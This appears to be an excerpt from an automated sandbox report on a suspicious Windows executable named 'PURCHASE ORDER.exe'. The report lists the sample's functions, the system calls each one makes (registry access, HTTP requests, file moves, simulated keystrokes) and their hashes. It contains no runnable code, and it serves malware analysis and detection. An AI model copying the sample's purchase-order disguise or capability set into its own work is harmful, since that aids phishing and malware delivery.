                                                                          Function 00479C97 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 274COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 00479D1F
                                                                          • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                          • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                          • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                            • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                            • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                            • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                          • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                            • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                          • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                          • API String ID: 665237470-60002521
                                                                          • Opcode ID: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                          • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                          • Opcode Fuzzy Hash: d48da594d57f6aadbcc7a695fec4cf75dc39f6aec1ddb07572db38b207896a5c
                                                                          • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                          Function 0046A75F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 179registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ConnectRegistry_wcslen
                                                                          • String ID: HH
                                                                          • API String ID: 535477410-2761332787
                                                                          • Opcode ID: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                          • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                          • Opcode Fuzzy Hash: 95544a26956fe54eb2a8636236a3b10fc217bfdb2bff17811b2f45cb9df4731a
                                                                          • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                          Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 0045F317
                                                                          • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F367
                                                                          • IsMenu.USER32(?), ref: 0045F380
                                                                          • CreatePopupMenu.USER32 ref: 0045F3C5
                                                                          • GetMenuItemCount.USER32(?), ref: 0045F42F
                                                                          • InsertMenuItemW.USER32(?,?,00000001,?), ref: 0045F45B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                                          • String ID: 0$2
                                                                          • API String ID: 3311875123-3793063076
                                                                          • Opcode ID: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                          • Instruction ID: 6c7ab59355789d00cbd42ef361c1bd9312a1bc9220e92816940967e3bd29aecc
                                                                          • Opcode Fuzzy Hash: fbdd9a11e44187a4bf70f7de18f8631e861f84fad9f8f26dcc1fb12baf34abbc
                                                                          • Instruction Fuzzy Hash: E451CF702043409FD710CF69D888B6BBBE4AFA5319F104A3EFD9586292D378994DCB67
                                                                          Function 0043717F Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 46windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetModuleHandleW.KERNEL32(00000000,004A8E80,00000100,00000100,?,C:\Users\user\Desktop\PURCHASE ORDER.exe), ref: 0043719E
                                                                          • LoadStringW.USER32(00000000), ref: 004371A7
                                                                          • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 004371BD
                                                                          • LoadStringW.USER32(00000000), ref: 004371C0
                                                                          • _printf.LIBCMT ref: 004371EC
                                                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00437208
                                                                          Strings
                                                                          • %s (%d) : ==> %s: %s %s, xrefs: 004371E7
                                                                          • C:\Users\user\Desktop\PURCHASE ORDER.exe, xrefs: 00437189
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: HandleLoadModuleString$Message_printf
                                                                          • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\PURCHASE ORDER.exe
                                                                          • API String ID: 220974073-815561350
                                                                          • Opcode ID: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                          • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                          • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                          • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                          Function 00456168 Relevance: 13.7, APIs: 9, Instructions: 181COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                          • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                                                                          • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                          • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                                                                          Function 004534EB Relevance: 13.6, APIs: 9, Instructions: 150filestringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PURCHASE ORDER.exe,?,C:\Users\user\Desktop\PURCHASE ORDER.exe,004A8E80,C:\Users\user\Desktop\PURCHASE ORDER.exe,0040F3D2), ref: 0040FFCA
                                                                            • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                          • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                                                                          • MoveFileW.KERNEL32(?,?), ref: 0045358E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                                                          • String ID:
                                                                          • API String ID: 978794511-0
                                                                          • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                          • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                                                                          • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                          • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                                                                          Function 004417BC Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                          • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                                                                          • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                          • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                                                                          Function 00445CF9 Relevance: 13.6, APIs: 9, Instructions: 69sleepkeyboardwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                            • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                            • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                          • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                          • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                          • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                          • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                          • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                          • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                          • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                          • String ID:
                                                                          • API String ID: 2014098862-0
                                                                          • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                          • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                                                                          • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                          • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                          Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: AddressProc_malloc$_strcat_strlen
                                                                          • String ID: AU3_FreeVar
                                                                          • API String ID: 2184576858-771828931
                                                                          • Opcode ID: 10d9e78008ba5b5703de8dc23ed72c3cd296113dc033390a1be7ca980e1f1503
                                                                          • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                          • Opcode Fuzzy Hash: 10d9e78008ba5b5703de8dc23ed72c3cd296113dc033390a1be7ca980e1f1503
                                                                          • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                          Function 00401D10 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 235COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
                                                                          • DestroyWindow.USER32(?), ref: 0042A751
                                                                          • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                          • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                          • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                          • String ID: close all
                                                                          • API String ID: 4174999648-3243417748
                                                                          • Opcode ID: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                          • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                                                                          • Opcode Fuzzy Hash: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                          • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                                                                          Function 0044AA1F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                          • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                          • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                          • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                          • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                            • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                          • String ID:
                                                                          • API String ID: 1291720006-3916222277
                                                                          • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                          • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                          • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                          • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                          Function 0046BB59 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 168networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLastselect
                                                                          • String ID: HH
                                                                          • API String ID: 215497628-2761332787
                                                                          • Opcode ID: 3d89cdb4518712ce7d497f90f16eabf25f5dd16b03f437b50de1b9ff930cdf67
                                                                          • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                                                                          • Opcode Fuzzy Hash: 3d89cdb4518712ce7d497f90f16eabf25f5dd16b03f437b50de1b9ff930cdf67
                                                                          • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                                                                          Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __snwprintf__wcsicoll_wcscpy
                                                                          • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                          • API String ID: 1729044348-3708979750
                                                                          • Opcode ID: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                          • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                                                                          • Opcode Fuzzy Hash: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                          • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                                                                          Function 0044BBC9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100filestringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PURCHASE ORDER.exe,?,C:\Users\user\Desktop\PURCHASE ORDER.exe,004A8E80,C:\Users\user\Desktop\PURCHASE ORDER.exe,0040F3D2), ref: 0040FFCA
                                                                          • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                                                                          • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                                                                          • _wcscat.LIBCMT ref: 0044BCAA
                                                                          • _wcslen.LIBCMT ref: 0044BCB7
                                                                          • _wcslen.LIBCMT ref: 0044BCCB
                                                                          • SHFileOperationW.SHELL32 ref: 0044BD16
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                                                          • String ID: \*.*
                                                                          • API String ID: 2326526234-1173974218
                                                                          • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                          • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                                                                          • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                          • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                                                                          Function 004366BE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                          • _wcslen.LIBCMT ref: 004366DD
                                                                          • GetFileAttributesW.KERNEL32(?), ref: 00436700
                                                                          • GetLastError.KERNEL32 ref: 0043670F
                                                                          • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                                                                          • _wcsrchr.LIBCMT ref: 0043674C
                                                                            • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
